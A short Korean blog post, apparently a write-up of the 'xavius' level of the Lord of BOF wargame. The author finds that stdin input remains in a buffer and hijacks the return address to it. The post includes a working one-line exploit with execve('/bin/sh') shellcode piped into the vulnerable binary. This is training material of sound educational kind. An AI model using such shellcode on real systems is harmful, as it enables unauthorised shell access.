코드를 보니 막막합니다....
스택 못쓰고 라이브러리 못쓰고 LD_* 못쓰고 바이너리이미지 못스고 그래놓곤 스택 다 지워 버리고
처음에는 진짜 막막하고 못풀듯 싶었는데... 코드를 보니 평소처럼 인자를 사용하는 방법이 아닌 stdin 을 이용해서 받더군요
stdin을 이용해서 받으면 이름이 기억은 안나는데 그쪽에 입력했던 값이 저장된다고 들었던 기억이 있어서 바로 확인해보았습니다.
저기 보이는 저 0x08049a3c 가 stdin 의 주소이니 저쪽으로 가보도록 하겠습니다.
헉, 진짜 값이 남아있습니다!!!!!!!!!!
그럼 Ret를 저쪽으로 돌리고 저쪽에는 shellcode를 넣으면 되겠네요. 다만 0x40015000 에서 \x00 이 NULL 로 취급되지 않을까 해서 앞 4byte는 AAAA로 때우고 Ret를 0x40015004 로 돌리죠.
(python -c 'print "\x90"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*15 + "\x04\x50\x01\x40"';cat) | ./xavius
*stdin 을 이용한 입력이니 파이프를 사용해야 합니다.
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level1] gate -> iron_golem (0) | 2017.05.19 |
---|---|
[Level20] xavius -> death_knight (0) | 2017.05.18 |
[Level18] succubus -> nightmare (0) | 2017.05.18 |
[Level17] zombie_assassin -> succubus (0) | 2017.05.18 |
[Level16] assassin -> zombie_assassin (0) | 2017.05.17 |